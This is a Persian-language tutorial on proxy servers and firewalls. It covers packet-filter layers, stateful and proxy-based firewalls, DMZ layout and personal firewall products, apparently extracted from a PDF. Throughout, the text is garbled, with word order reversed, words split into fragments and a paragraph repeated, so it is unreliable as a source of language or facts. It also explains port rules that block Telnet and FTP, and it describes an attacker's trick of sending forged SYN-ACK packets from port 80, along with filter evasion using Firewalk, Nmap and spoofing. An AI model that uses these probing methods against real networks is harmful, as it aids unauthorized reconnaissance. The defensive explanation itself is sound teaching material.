ا اینترنت   -٢ اط ب رای ارتب انه فيزیکی ب وع رس صا:  ن رای ات ی ب ای مختلف ه شبکه اینترنت وجود دارد راه حله رین راه ، . ل ب اده ت س

تفاده از   . استفاده از مودم و خطوط آنالوگ می باشد        دیل اطلاعات از          ISDNراه دیگر اس ه تب اج ب م احتي ه ه ال است ک  و خطوط دیجيت
الاتری برخوردار است                            م از سرعت ب دارد و ه تفاده از     .آنالوگ به دیجيتال و برعکس در ارسال و دریافت اطلاعات ن  روش دیگر اس

 ٢۵٠ و از ISDN کاربر از ٢۵٠پيشنهاد می شود که در شبکه های با کمتر از .  با ظرفيت انتقال گيگا بایت می باشد       T1/E1خط های   
ه علت عدم وجود خطوط                . (  استفاده شود     T1/E1کاربر به بالا از      ران ب ه در ای ود خطوط   ISDNالبت تانداردها   T1/E1 و کمب ن اس  ای

  . ) ر قابل پياده سازی هستندکمت
  
های   هر چه مرورگر. دو عامل موثر در هزینه اتصال به اینترنت ، پهنای باند و مانایی ارتباط می باشد : هزینه ارتباط با اینترنت       -٣

ود    د ب الاتر خواه ه ب د ، هزین شتر باش تفاده بي ان اس شتر و زم ی بي ه . اینترنت ه اینک ه ب ا توج ی Proxy Serverب ا  م د ب  Cachingتوان
  . های مورد استفاده موثر باشد Proxyاطلاعات این موارد را بهبود بخشد ، بررسی این عامل می تواند در تعيين تعداد 

  
داد       :  نوع و نحوه مدیریت سایت         -۴  وثر است    Proxyاین عامل نيز در تعيين تع ا م ثلا . ه ری وجود       م  اگر در شبکه ای مشکل راهب

  . ها ، مشکل راهبری نيز بيشتر خواهد شد Proxyا اضافه کردن تعداد داشته باشد ، ب
  
تفاده       -۵ ورد اس ا معمولا  Proxy Server: پروتکل های م ای    ه ا  TCP/IP از پروتکله ا    IPX/SPX و ی اط ب رای ارتب ا  Client ب  ه

پيشنهاد می شود در شبکه های . ر شبکه استفاده کرد  باید یکی از این پروتکل ها را د Proxyبنابراین برای استفاده از     . استفاده می کنند    
زرگ    Web Server و Proxy Serverها  کوچک با توجه به تعداد کاربر ا ب  روی یک کامپيوتر تعبيه شوند و در شبکه های متوسط ی

  .ها بيش از یکی باشد server Proxyتعداد
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  Firewall يا آتش ديوارشرح کامل 
 
 

ستمی  آتش دیوار ه  است  سي ين  در ک اربران  ب ی  شبکه  یک  ک ی  شبکه  و محل ثلا ) بيرون رار  (اینترنت  م رد  می  ق ر  نظارت  ضمن  و گي  ب
دلی  . دارد نظر تحت را اطلاعات خروج و ورود سطوح تمام در ها، دسترسی اده  م رای  س ستم  یک  ب وار  سي ر  در آتش  دی ه  زی  شده  ارائ

ا  سازمان هر ساختار این در .است ادی  ی د  هک  نه رل  را شبکه  اطلاعات  خروج  و ورود بخواه د  کنت ام  ، است  موظف  ، کن  ارتباطات  تم
ه  دروازه یک  طریق از خارجی ارتباط گونه هر و کرده قطع خارج دنيای با را خود داخلی شبکه مستقيم وار  ک ا  آتش  دی ر  ی ام  فيلت  دارد ن
  .شود انجام

  
  .کنيم بررسی را آتش دیوار یک از استفاده مشکلات و کلی عملکرد باید کنيم تحليل را آتش دیوار یک اجزای آنکه از قبل

  

  
  
  

ا  شبکه  به ورود از قبل IP  و TCP  های بسته دا  آن از خروج  ی وار  وارد ابت د  می  منتظر  و شوند  می  آتش  دی ا  مانن ق  ت  معيارهای  طب
  :بيافتد قاتفا است ممکن حالت سه بسته تحليل و پردازش از پس .شوند پردازش امنيتی و حفاظتی

  
  

 (Accept mode) شود صادر عبور اجازه •
   (Blocking Mode)گردد حذف بسته •
 (Response Mode)شود داده بسته آن مبدا به مناسب پاسخ و شده بسته حذف •

 
تفاده  ادامه از جلوگيری (Tracing) گيری رد اخطار، ، ثبت عملياتی توان می بسته حذف پيغام از غير به  (Stop Using) شبکه  از اس
سته  بازرسی  و ایست  برای است محلی آتش دیوار حقيقت در .گرفت نظر در هم توبيخ و ه  اطلاعاتی  های  ب ه  ب ه  ای گون سته  ک ا  ب ر  ه  ب

ور  عدم یا عبور مجوز آنها برای و شده پردازش حفاظتی، و امنيتی قواعد از تابعی اساس سته  از ای مجموعه  P اگر  .شود  صادر  عب  ب
 :داریم باشد، امنيتی قواعد از متناهی ای مجموعه S  و شود گرفته نظر در آتش واردی سيستم به ورودی های

 
X=F(P,S) 

 
F وار  عملکرد تابع ل  نتيجه  X  و آتش  دی سته  تحلي د  Accept, Block, Response حالت  سه  شامل  ب ود  خواه ه  . ب  قواعد  مجموعه  ب

 :کنيد قتد زیر شکل به شود؛ می گفته نيز “امنيتی های سياست” آتش دیوار
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 دستور یا عبور زمجو آنها برای و کرده بازرسی امنيتی های سياست با مطابق را  TCP ارتباط تقاضاهای و ها بسته یکایک آتش دیوار
وار  ، است  کن  خرد  اعصاب  و گير وقت بازرسی و ایست عمليات جا همه که همانطوری . کند می صادر حذف م  آتش  دی ه  ه وان  ب  عن
ن  شود  شبکه در بست بن نهایتا و (Congestion)  ازدحام تاخير، ترافيک، رفتن بالا به منجر تواند می (Bottleneck)گلوگاه  بست  ب
 کرده آنها مجدد ارسال به اقدام فرستنده و شده تمام عمرشان طول تا شوند می معطل آتش دیوار حافظه در آنقدر ها بسته که است زمانی

اهی  حالت از تا دارد دقيق و صحيح طراحی به نياز آتش دیوار دليل همين به !! شود تکرار متناوب طور به کار این و  شود  خارج  گلوگ
ا  آتش دیوار در تاخير اب  مجموع ذیر  اجتن ط  است  ناپ ستی  فق ه  بای ه  ب ه  باشد  ای گون اد  بحران  ک د  ایج وار  نکن سته  یکایک  آتش  دی ا  ب  و ه

  .نماید می صادر حذف دستور یا عبور مجوز آنها برای و دهکر بازرسی امنيتی های سياست با مطابق را ارتباط، تقاضاهای
  

  
  
 

  آتش ديوار طراحی مبانی
 
  
ه  از اطلاعات  واحد  یک انتقال برای TCP/IP  مدل در است، لایه به لایه صورت به شبکه معماری که آنجائی از ارم  لای ر  چه  روی ب

رده  اضافه اطلاعاتی بسته ابتدای به (CRC) مشخص فيلد تعدادی خود هوظيف انجام برای لایه هر بگذراند، را ها لایه تمام باید شبکه،  ک
ه  هر  در شده  اضافه های فيلد تحليل آتش دیوار یک کار اعظم قسمت . بدهد زیرین لایه تحویل آنرا و سته  هر  سرآیند  و لای  در .ست  ا ب

اوت م سرآیند  ، ) لایه 4   (ها لایه تعداد به شود می آتش دیوار وارد که ای بسته د  وجود  تف ه  سرآیند  معمولا  . داشت  خواه ه  اول لای  لای
 شبکه  در فيزیکی کانال روی فقط ها فيلد این محتوای که چرا ندارد چندانی اهميت اینترنت شبکه در Network Interface یا فيزیکی
 های  لایه در که است ی سرآیند در يتاهم بيشترین . شد خواهند عوض ها فيلد این مسيریاب یا شبکه هر از گذر در و دارند معنا محلی
 :شد خواهد اضافه اطلاعات از واحد یک به چهارم و سوم دوم،

 
 کند می تحليل و پردازش را  IP بسته سرآیند های فيلد آتش، دیوار از شبکه لایه در •

 
 کند می تحليل و پردازش را UDP یا TCP  بسته سرآیند های فيلد آتش، دیوار در انتقال لایه در •

  
وای  و سرآیند مثلا کند می بررسی را ها داده خود محتوای و همچنين سرآیند های فيلد ، آتش دیوار ، کاربرد لایه در •  یک  محت

 گيرد قرار بررسی مورد تواند می وب صفحه یک یا الکترونيکی نامه
  
  .بود خواهد چندلایه نيز آتش دیوار یک لاجرم شبکه معماری بودن لایه لایه به توجه با
  
 

ه  و شده حذف جا همان نکند احراز را عبور شرط آتش دیوار ها لایه از یکی در بسته یک اگر ه  ب  شود  نمی  داده ارجاع  بعدی  های  لای
ی  سياست .شود داده تحویل جانبی سيستمی به گيری رد و عمل ثبت نظير امنيتی های پيگيری جهت بسته آن است ممکن بلکه  یک  امنيت
  :مثال عنوان به شوند، می تعریف آتش دیوار سه از یکی در شان ماهيت بنابر که است امنيتی قواعد از متناهی ای مجموعه شبکه

 
  آتش دیوار از لایه اولين در سياه های بسته ممنوع های بسته تعيين قواعد •
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 دوم لایه در FTP  یا Telnet  مثل هایی سرویس به متعلق ها پورت از برخی بستن قواعد •
 

   سوم لایه در وب صفحه یا الکترونيکی نامه یک متن دسرآین تحليل قواعد •
  
 

  آتش ديوار اول لايه
 

 نظارت قابل زیر های فيلد بسته این در و کند می کار بسته این سرآیند های فيلد و IP  های بسته تحليل اساس بر آتش دیوار در اول لایه
 :هستند بررسی و
 

o آدرس با بکهش خارج یا داخل های ماشين از برخی : مبدأ آدرس IP سته  و باشند نداشته بسته “ ارسال حق” خاص ا  های  ب  آنه
 .گردد حذف آتش دیوار به ورود محض به

  
o آدرس با شبکه خارج یا داخل های ماشين از برخی : مقصد آدرس  IP سته  “دریافت  حق” خاص ند  نداشته  ب سته  و باش  ای ه ب

 شود می تعریف آتش دیوار مسئول توسط مجاز غير IP های آدرس شود حذف آتش دیوار به ورود محض به آنها
  

o ا  شناسایی  شماره اگرام  ی ه  دیت ه  قطع سته  : (Identifier & Fragment Offset)شده  قطع ایی  ب ه  ه ه  ک ه  قطع د  شده  قطع ا  ان  ی
 .شوند حذف هستند خاص دیتاگرام یک به متعلق

 
o سته  اینکه  بررسی  یعنی . شوند حذف توانند می هستند بالاتر لایه در خاصی پروتکل به متعلق که هایی بسته :پروتکل شماره  ب

 .خير یا است مجاز پروتکل آن به تحویل برای آیا و است بالاتر لایه در پروتکلی چه به متعلق
  

o وط ) شوند حذف باید و هستند مشکوک اند کرده طی را مسيریاب مشخصی تعداد از بيش که هایی بسته : بسته حيات زمان  مرب
 TTL بحث به

  
o هستند بررسی قابل آتش دیوار مسئول امنيتی قواعد و دید صلاح بنابر های فيلد قيهب.  

  
  

 نيازی هيچ و شوند می بررسی هم از مستقل و مجزا طور به ها بسته لایه این در که آنست آتش دیوار در اول لایه خصوصيت مهمترین
 شود می انجام لایه این در گيری تصميم ترین سریع و ترین ساده ليلد همين به . نيست بسته یک بعدی یا قبلی های بسته ن داشت نگه به

ر  به یعنی ، شوند می عرضه بازار به آتش دیوار اول لایه امکان با ها مسيریاب از برخی امروزه سيریابی،  از غي ه  م ه  وظيف  در اول لای
ر  های مسيریاب” آنها به که دهند می انجام هم را آتش دیوار ده  فيلت سته  ی کنن ه  Pocket Filtering Router ب ابراین  . شود  می  گفت  بن

ر  جدول این تنظيم و کند می غربال را IP های بسته جدولی براساس مسيریابی، به اقدام از قبل مسيریاب  و شبکه  مسئول  نظر  اساس  ب
  !!د شو می ... و Filtering بحث وارد گيرد می انجام امنيتی قواعد از برخی

 
ی  قواعد درصد چه هر لایه این بودن سریع به توجه با ن  در امنيت ه  ای ق  لای ر  دقي ر  سختگيرانه  و ت ردازش  حجم  ، باشد  ت ه  در پ  های  لای

ه  این از نفوذ IP های آدرس ميلياردی تنوع خاطر به مجموع در ولی بود خواهد تر پایين نفوذ احتمال حال عين در و کمتر بالاتر ه  لای  ب
 .شود جبران بایستی بالاتر های لایه در ضعف این و بود اهدخو پذیر امکان قرضی یا جعلی های آدرس

 
 
  

 آتش ديوار در دوم لايه
 
 
 بازرسی جهت انتقال لایه های بسته های فيلد ترین عمومی . شود می استفاده بسته تحليل برای انتقال لایه سرآیند های فيلد از لایه این در
  :از عبارتند آتش، دیوار در
 

تاندارد  پورتهای آنکه به توجه با : مقصد پروسه پورت شماره و دامب پروسه پورت شماره ناخته  اس  مسئول  است  ممکن  ، هستند  شده  ش
د  آتش دیوار یک ال  ftp  سرویس  بخواه ل  انتق ط  فای ی  شبکه  محيط  در فق ذیر  امکان  محل رای  و باشد  پ ام  ب ن  خارجی  های  ماشين  تم  ای

د ت می آتش دیوار بنابراین باشد نداشته وجود سرویس سته  وان ا  TCP های  ب ورت  شماره  ب وط  21 و 20 پ ه  مرب ه  ftp ب ا  ورود قصد  ک  ی
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تفاده  سو مورد است ممکن که خطرناک های سرویس از دیگر یکی . کند حذف دارند، را شبکه از خروج رار  اس رد  ق  است Telnet  گي
 .شوند حذف است، 23  مقصدشان پورت شماره که هایی بسته یعنی کرد مسدود را 23 پورت راحتی به توان می که
 
  

o د  و ترتيب  شماره  فيلد ن  :Acknowledgment  فيل د  دو ای ا  فيل ر  بن ل  شبکه  مسئول  توسط  ، شده  تعریف  قواعد  ب تفاده  قاب  اس
 .هستند

 
o کدهای : (TCP Code Bits) ا  بيت  این کليدی نقش با قبلی های بخش در نا  ه د  ش آش وار  .دی ا  آتش  دی ن  بررسی  ب ی   ای  کنترل

رین  عمومی  . شود  می استفاده بسته تحليل برای انتقال لایه سرآیند های فيلد از لایه این در آتش دیوار در دوم لایه د  ت  های  فيل
 :از عبارتند آتش، دیوار در بازرسی جهت انتقال لایه های بسته

 
o است  ممکن  ، هستند  هشد  شناخته استاندارد پورتهای آنکه به توجه با : مقصد پروسه پورت شماره و مبدا پروسه پورت شماره 

ذیر  امکان  محلی شبکه محيط در فقط فایل انتقال ftp  سرویس بخواهد آتش دیوار یک مسئول رای  و باشد  پ ام  ب  های  ماشين  تم
د  می آتش دیوار بنابراین باشد نداشته وجود سرویس این خارجی سته  توان ا TCP  های  ب ورت  شماره  ب وط  21 و 20 پ ه  مرب   ب

ftpد  حذف دارند، را شبکه از خروج یا ورود قصد که اک  های  سرویس  از دیگر  یکی  . کن ه  خطرن ورد  است  ممکن  ک  سو  م
تفاده  رار  اس رد  ق ه  است  Telnet  گي وان  می  ک ه  ت ورت  راحتی  ب رد  مسدود  را 23 پ ی  ک سته  یعن ایی  ب ه  ه ورت  شماره  ک  پ

 .شوند حذف است،  23مقصدشان
 

o  د د  و ترتيب  شماره  فيل ن   :Acknowledgment فيل ا  دفيل  دو ای ر  بن ل  شبکه  مسئول  توسط  ، شده  تعریف  قواعد  ب تفاده  قاب  اس
  .هستند

  
o کنترلی کدهای : (TCP Code Bits) ن  کليدی نقش با قبلی های بخش در ا  بيت  ای نا  ه د  ش آش وار  .دی ا  آتش  دی ن  بررسی  ب   ای

د  می  اعمال آن روی بر را لازم های سياست و برده پی بسته آن ماهيت به کدها، ه  . کن وان  ب ال  عن وار  یک  مث  ممکن  آتش  دی
 حذف  را هستند SYN= 1  بيت دارای و شوند می وارد شبکه به بيرون از که هایی بسته تمام که شود تنظيم ای گونه به است
   .شد نخواهد برقرار شبکه درون به بيرون از TCP  ارتباط هيچ ترتيب بدین  . کند

  
  
ه  این از بایستی TCP  ارتباط برقراری ایتقاضاه تمام که آنست لایه این خصوصيات مهمترین از اط  در چون  و بگذرد  لای   TCP ارتب
ه  هر از قبل لذا ، نيست پذیر امکان داده انتقال ، نرسد اتمام به “ ای مرحله سه تکانی دست” مرحله تا ه  گون وار  داده مبادل  می  آتش  ، دی

 ماشين به ارائه از قبل را TCP  ارتباط برقراری تقاضاهای تواند می آتش دیوار یعنی . شود مجاز غير ارتباط هر برقراری مانع تواند
ر  صورت در و نماید بررسی مقصد ل  غي اد  قاب ودن،  اعتم انع  ب راری  از م اط  برق وار  . شود  ارتب ن  در آتش  دی ه  ای از  لای ه  ني  از جدولی  ب
 .دارد مجاز غير های پورت شماره

 
 :شوند می اعمال آتش دیوار به و تنظيم زیر مثال همانند جدول یک در دوم و اول لایه در شده تعریف امنيتی قواعد مجموع

  
  

  
  
  
  

 آتش ديوار سوم لايه
  
ارم  لایه در پروتکل گرفتن نظر در با یعنی . شود می انجام کاربردی برنامه و سرویس نوع اساس بر حفاظت لایه این در ه  چه ل  ب  تحلي
وع  بسيار سرویس نوع به بسته لایه این در سرآیندها تعداد . پردازد می ها داده راوان  و متن ابراین  . است  ف ه  در بن وار  سوم  لای ش،  دی  آت
د  ... و وب سرویس  ftp  سرویس  الکترونيکی، پست سرویس مثل) مجزا سرویس هر برای سله  یک  بای ردازش  سل ی  ، قواعد  و پ  امنيت
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ه  و شود  تعریف  مجزا  ين  ب ل  هم دگی  و حجم  دلي ردازش  پيچي ه  در پ اد  سوم  لای نم  می  توصيه  . ست ا زی ه  ک ام  ک ر  های  سرویس  تم  غي
 .شود کمتر سوم لایه در کار تا شوند، مسدود دوم لایه در نيستند استفاده مورد که هایی پورت شماره و ضروری

  
رده  دائر را خود الکترونيکی پست سرویس اقتصادی، ای موسسه کنيد فرض مثال عنوان به ی  ک اش  نگران  ول  اطلاعات  برخی  شدن  ف

د  کمک  تواند می سوم لایه در آتش دیوار حالت این در . است نهمحرما ا  کن  در شود،  مسدود  الکترونيکی  پست  های  آدرس از برخی  ت
 که صورتی در را شده گذاری رمز متون و بگردد حساس کليدی کلمات از برخی دنبال نشده رمز های نامه متون در تواند می حال عين
  .کند فحذ نشود، آنها ییگشا رمز به موفق

  
 برخی وجود لحاظ از آنرا درون کاربر، یک به وب صفحه تحویل از قبل است علاقهمند فرهنگی مرکز یک دیگر مثالی عنوان به
دارد،  مطابقت فرهنگی معيار با که کلماتی اگر و کند بررسی کليدی کلمات از تن  درون ن د  حذف  را صفحه  آن شد،  یافت  صفحه  م  .نمای
ال  به وب، ی صفحه یک HTML کدهای در توان می مثلا اتی  دنب ل  کلم ه  صورتی  در و گشت  ... و Sexual, Sexy, Sex مث ا  ک  آنه
ن  در شدند یافت ا  صورت  ای ر  مبن رار  آن ب د  ق ه  گرفت  خواه ورد  سایت  ک اربر،  توسط  تقاضا  م وده  Porn  سایت  یک  ک  اجازه  است  ب

ن  شود  می انجام وب صفحات در Keywords  قسمت در وب صفحات در جستجو این معمولا که نشود داده مرورگر، به درخواست  ای
 برای سياه ليست که هنگامی معمولا) شود می استفاده وب صفحات از بعضی کردن فيلتر برای ها  ISP استفاده مورد بيش و کم حالت،
 هر  کلا یا ISP برای مشکلاتی که مواردی بعضی در یا رود می بين از  دارند قرار شده فيلتر های IP  آن درون که ها IP کردن فيلتر

  !زد دور را آنها Spoofing  های روش از برخی وسيله به توان می که آید می پيش سازمانی
 

  Stateful و هوشمند فيلترهای
 

 رافيکت از بخشی ساده قواعد یکسری اساس بر آنها زیرا ندارند حملات با مقابله برای را لازم کارآیی ی معمول فيلترهای که کنيد دقت
ه  شود  می ریزی طرح هوشمند و تکنيکی بسيار حملاتی ها شبکه عليه بر امروزه .نمایند می کنترل را شبکه ورودی های بسته ه  ب  گون
ه  ای ر  یک  ک اده  فيلت ه  س ر  آن قواعد  ک ل  است  آشکار  همگان  ب اد  قاب وثر  و اعتم د  م ود  نخواه ده  در . ب د  خواهيم  آین ه  دی رم  ک زار  ن  اف

Firewalk اری  و قواعد این اساس بر او سپس ميدهد؛ قرار نفوذگر اختيار در و کرده کشف را آتش دیوار قواعد سادگی به ه  رفت ن  ک  ای
واردی  البته . کرد خواهد تلاش شبکه به رسوخ برای دهند، می نشان خود از قواعد د  م ز  آتش  دیوارهای  کردن  bypass  مانن  وجود  ني
 .داشت خواهد فراگير بسيار بحثی که دارد

 
را  کرد خواهد هدایت شبکه درون به را ها بسته ترافيک از بخشی قطعاً آتش دیوار یا فيلتر یک که است دیهیب ر  در زی ن  غي  صورت  ای

د  می  تلاش  ، نشود حذف او مخرب های داده ترافيک آنکه برای نفوذگرت داش نخواهد خارج دنيای با ارتباطی هيچ داخلی، شبکه ا  کن  ب
 در ( بفرستد کهبش درون به فيلتر یا آتش دیوار ميان از مجزا کاملا ظاهری با را آنها IP و  TCP بسته های دفيل در خاص مقادیر تنظيم
ری  کنيد فرض مثال عنوان به ) شد خواهد داده توضيح مفصل بعدا مورد این ام  فيلت سته  تم ا  ب ه  ه ر  ب ورت  شماره  از غي وط  80پ ه  مرب  ب

 . دمای زبيا شبکه  در را ماشين یک بودن فعال خواهد می کيلومتری هزاران فاصله در رنفوذگ یک حال . کند می حذف را  وب ترافيک
 به اطلاعاتی شبکه درون های ماشين از آنها، نظایر و Cheops ، Nmap ، Ping  مثل ابزارهایی با نيست قادر او فيلتر وجود دليل به

ورت  شماره  با SYN-ACK بسته یک یمصنوع صورت به محدودیت، این بر غلبه برای بنابراین . آورد دست ه  80 پ  ماشين  سمت  ب
د  را شبکه به ورود اجازه بسته این به Source Port  فيلد بررسی با معمولی، آتش دیوار یک . فرستد می هدف را  .داد خواه  ظاهر  زی
ه  بسته . باشد می وب های داده حامل و است شده توليد وب دهنده سرویس یک ، توسط که دهد می نشان بسته این ی  شبکه  درون ب  داخل
ی  ماشين  چون و یافته راه را  دریافت  انتظار  داخل ا  RESET  های  پاسخ  از یکی  آن، دریافت  از پس  است،  نداشته  آن  ICMP Port ی

Unreliable ه  ترتيب بدین و است بوده ماشينی چنين بودن فعال بررسی نفوذگر هدف . گرداند می بر را ر  رسد؛  می  خود  هدف  ب  فيلت
  !شود باخبر موضوع این از توانسته نآتش دیوار یا هبست

  
 یک به پاسخ در که بدهد شبکه به ورود اجازه  SYN-ACK های بسته از گروه آن به فقط باید آتش دیوار عملياتی چنين با مقابله برای

ه  شود  هدایت شبکه درون به ICMP Echo Reply   های بسته شرطی به باید همچنين .باشد شده ارسال قبلی  SYN تقاضای ا  ک  حتم
د  فيلتر یا آتش دیوار یعنی .باشد ICMP Echo Request  پيام یک به پاسخ در د  بای شينه  بتوان سته  ی پي ی  های  ب ظ  را قبل د  حف ا  کن  در ت

 .بگيرد تصميم درستی به هایی، بسته چنين با مواجهه
 

ر  و کنند حفظ مدتی برای را هشبک از خروجی ترافيک مشخصات قادرند که هایی فيلتر یا آتش دیوارهای ردازش  اساس  ب ا  پ  ز مجو  آنه
ا  هوشمند آتش دیوار” نمایند، صادر عبور ر  ی ده  Stateful و هوشمند  فيلت ه  . شوند  می  نامي داری  البت  خروجی  ترافيک  مشخصات  نگه
سپارد  خود  حافظه ، به ار آخر ثانيه چند ترافيک که است کافی فقط بلکه نيست هميشگی Stateful فيلتر یک در ورودی یا شبکه ل  ب  مث
 !Cache  نوع یک

 
 جدا واقعی های بسته از کنند پيدا راه شبکه درون به خواهند می مجاز ظاهر با که هایی بسته شود می باعث Stateful  فيلترهای وجود
  :کنيد می ملاحظه را Stateful  و هوشمند فيلتر یک قواعد جدول از مثالی زیر در .شوند مميز و شده
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الاتری  بسيار اعتماد قابليت مجموع در ولی باشد می نياز مورد حافظه حجم و پردازش بر غلبه ها فيلتر این مشکل بزرگترین د  ب  و دارن
ه  بهره مکانيزم این از مدرن فيلترهای اکثر .داد خواهند افزایش را شبکه امنيت ضریب د  گرفت وار ” یک  !ان ا  آتش  دی ر  ی  و هوشمند  فيلت

Stateful پارد  می خاطر به ثانيه چند برای را خروجی ترافيک ی پيشينه ر  و س صميم  آن“ اساس  ب رد  می  ت ه  گي ا  ک سته  یک  ورود آی  ب
  خير یا است مجاز

  
  
  

   (Proxy Based Firewall)پراکسی بر مبتنی آتش  ديوار
  

اه  هر .کنند می ایفا را ها بسته بازرسی و ایست نقش فقط Stateful و معمولی آتش دیوارهای و فيلترها راری  مجوز  گ  نشست  یک  برق
 معنا بدین شد؛ خواهد برقرار Peer-To-Peer یا انتها به انتها مستقيم صورت به خارجی و داخلی ماشين دو بين نشست این ، شد صادر

 .شد خواهد آنها تحویل عيناً بررسی، از پس طرفين از ارسالی های بسته که
 

 ارتباط برقراری یا FTP  نشست مثل نشست یک تقاضای مبدا، ین ماش وقتی : دارند متفاوت املاک رفتاری پراکسی بر مبتنی فيلترهای
TCP د  می  اتفاق زیر فرآیند کند، می ارسال مقصد ماشين برای را وب ی دهنده سرویس با ه  پراکسی  :افت دا،  ماشين  از نيابت  ب ن  مب  ای
د  آتش  دیوار نشست طرف یعنی . کند می برقرار را نشست ود  خواه ه  ب ستقل  نشست  یک  سپس  !! اصلی  ماشين  ن ين  م وار  ب  و آتش  دی
   .کند می ارسال مقصد برای دوم نشست طریق از سپس گيرد، می را مبدا های داده پراکسی . شود می برقرار مقصد ماشين

  
 :بنابراین

 
 وسيله به آنها ارتباط بلکه ؛ گيرد نمی شکل مقصد و مبدا بين ، روئی در رو و مستقيم نشست هيچ “ پراکسی بر مبتنی آتش دیوار” در
 نفوذ اعمال نشست، خلال در شده مبادله های داده روی بر بود خواهد قادر آتش دیوار نحو بدین . شود می برقرار واسط ماشين یک
 دارند، نشست برقراری به تمایل خارجی و داخلی ماشين دو وقتی :کنيد نگاه زیر شکل به .بگيرد اقتضا به بنا را لازم های تصميم و کند
  :شود می برقرار نشست دو
  

  
  
 

o پراکسی و مبدا بين نشست  
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o مقصد و پراکسی بين نشست 
  
  

ل  خاص  کنترلی های بسته ارسال با بخواهد نفوذگر یک اگر حال ه   SYN-ACK مث ه  مجاز  ظاهراً  ک د،  می  نظر  ب  ماشين  واکنش  آین
وار  شواکن حقيقت در ، کند ارزیابی داخلی شبکه در را هدف شاهده  را آتش  دی د  می  م ذا  و کن د  ل ی  شبکه  درون از توانست  نخواه  داخل

 .آورد دست به ارزشی با و مهم اطلاعات
 
د  می  عمل  سوم لایه در “ پراکسی بر مبتنی آتش دیوار” که باشيد زده حدس شاید فوق توضيحات با ادر  و کن ی  است  ق ر  حت  های  داده ب

 حافظه به پراکسی بر مبتنی آتش دیوارهای .کند نظارت نيز وب صفحات یا الکترونيکی های امهن محتوای مثل) کاربرد لایه در ارسالی
   .شد خواهند تمام گران نسبتا لذا و نيازمندند سریع بسيار CPU  و زیاد نسبتاً

 
دیریت  را شبکه بيرون و درون های ماشين بين نشستهای تمام باید پراکسی، بر مبتنی آتش دیوار چون د  اجرا  و م ذا  ، کن اه  ل  شبکه  گلوگ

  .کرد خواهد منجر جدی بحران با را شبکه کل آن، پيکربندی در اشکال یا تاخير هرگونه و شود می محسوب
 
  

   !! آتش ديوار دو هر از همزمان استفاده: Solution و پيشنهاد بهترين
  
  

ه  شود  سوال  شما  از است ممکن تفاده  ک دام  از اس وار  ک ا  Stateful  آتش  دی ه  ای شبکه  در(Proxy Based)  ی ا  داده امنيت  ک  آن در ه
ر  مبتنی آتش دیوار از باشد قرار اگر بود؟ خواهد تر امن و تر منطقی است، حياتی تفاده  شبکه  در پراکسی  ب دکی  شود،  اس ارآیی  از ان  ک

 می  محسوب شبکه در لوگاهگ یک پراکسی زیرا شد، خواهد کاسته دارند ( وب دهنده سرویس مثل) بالا ترافيک که هایی دهنده سرویس
وار  یک  پشت  در است بهتر اید، کرده پيکربندی اینترنت کاربران کل برای را ای دهنده سرویس اگر . شود ی  آتش  دی ر  مبتن  پراکسی  ب
 نوانع به توان نمی و دارند کمتری اعتماد قابليت وليکن باشند، می سریع معمولی آتش دیوارهای و فيلترها مقابل طرف در .نگيرد قرار

 نگاه زیر شکل به ! است آتش دیوار نوع دو هر از همزمان استفاده پيشنهاد، بهترین نتيجه در .کرد اطمينان آنها به شبکه یک حصار
   :کنيد

  
  :شوند می بندی پيکر و سازماندهی بخش دو در تجاری، موسسات یا ها سازمان به متعلق های شبکه

  

  
 

 دهد می سرویس اینترنت کاربران  عموم به کهFTP  و الکترونيکی پست وب، یها دهنده سرویس شامل شبکه عمومی بخش •
  !!د بسپاری رطخا به را کلمه این دارد نام نظامی غير ، محرمانه غير بخش DMZ  اصطلاحا بخش این .
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 فوق شکل با بقمطا است شده سازی پياده موسسه یا سازمان آن اعضای به دهی سرویس هدف با صرفا که محرمانه یا خصوصی بخش
 داخلی ی شبکه . نشود کاسته ها دهنده سرویس کارآیی از تا شود می حفاظت ( هوشمند یا معمولی) فيلتر یک توسط شبکه عمومی بخش
ی  آتش دیوار یک پشت در ر  مبتن ان  پراکسی  ب ا  شود  می  پنه ل  ضمن  ت وذ  غيرقاب ودن  نف ا  ، ب ز  اینترنت  ب اط  در ني ين  در . باشد  ارتب  چن

ی  آتش  دیوار و فيلتر : دارد راه سر بر عمده مانع دو داخلی ماشين یک با ارتباط برقراری برای خارجی نفوذگر یک ساختاری ر  مبتن  ب
  !! شد خواهد متوقف پراکسی آتش دیوار پشت بگذرد فيلتر سد از متداول های مکانيزم با حتی بتواند اگر حال . پراکسی

  
 

  (PC Firewall – Personal Firewalls)شخصی آتش ديوارهای
  

 آتش دیوار هيچ که ISP مانند معمولی محيطهای در که آنست مهم سوال .کند می حفاظت را داخلی شبکه های ماشين کل آتش دیوار یک
  !چيست؟ گناه بی کاربران تکليف اند، شده رها حفاظ بی شبکه اعضای های ماشين و نشده نصب فيلتری یا
  

ه  . کنند می استفاده اینترنت شبکه به اتصال برای xDSL سری مثل)سریع یا معمولی های ممود از که ISP کاربران از بسياری ل  ب  دلي
د  می قرار اذیت و آزار مورد یا شود می سرقت یشان ها داده افتند، می نفوذگران دام به قدرتمند امنيتی سيستم یک وجود عدم ن  .گيرن  ای
تفاده  جواب  کرد؟ حفاظت ها ماشين این از توان می چگونه حال .افتد می اتفاق روز هر بلکه نيست نادر حوادث گونه وار  از اس  آتش  دی

 بسته خروج/ ورود و شود می نصب (Host) نهایی ماشين روی بر که است قدرتمند ابزار یک شخصی آتش دیوار !!باشد می شخصی
ه  مجاز غير دسترسی مانع کند؛ می نظارت را ماشين آن از/ به ها ابع  ب اربر  یک  های  داده از و شده  ماشين  آن من ی  ک ر  و اطلاع  ب  غي

 !کند می حفاظت ماهر
 
ئن  نسبتاً و فرض پيش قواعد یکسری با رایگان آتش دیوار یک نصب، هنگام XP ویندوز در ر  مطم اربر  ماشين  روی ب ال   ک  و شده  فع

 هایی ضعف نيز آتش دیوار این البته . کند می جلوگيری آن به غيرمجاز دسترسی از نالامکا حتی و کند می نظارت را ها بسته ترافيک
سخه  اگر   .است  نشده توجهی آن به هنوز که دارد دیمی  های  ن ر  ق ل  ت ا  9x مث رده  نصب  را Me  ی د  ک د  ای رم  از بای ستقل  افزارهای  ن  م

 :از عبارتند افزاری نرم آتش دیوارهای مشهورترین . کنيد استفاده
 

� Norton Personal Firewall 
� Norton Internet Firewall 
� Zone Alarm Pro – ZAP 
� Protect X Professional 
� Black ICE Defender 
� Multi Plex Hot! (German Version) 
� Hot Detector 

  
د،  می  خود  سيستم در را آتش دیوار از صحيحی پيکربندی % 99 احتمال به چند هر ا  داني ده  در ام دی  آین  Norton از صحيحی  پيکربن

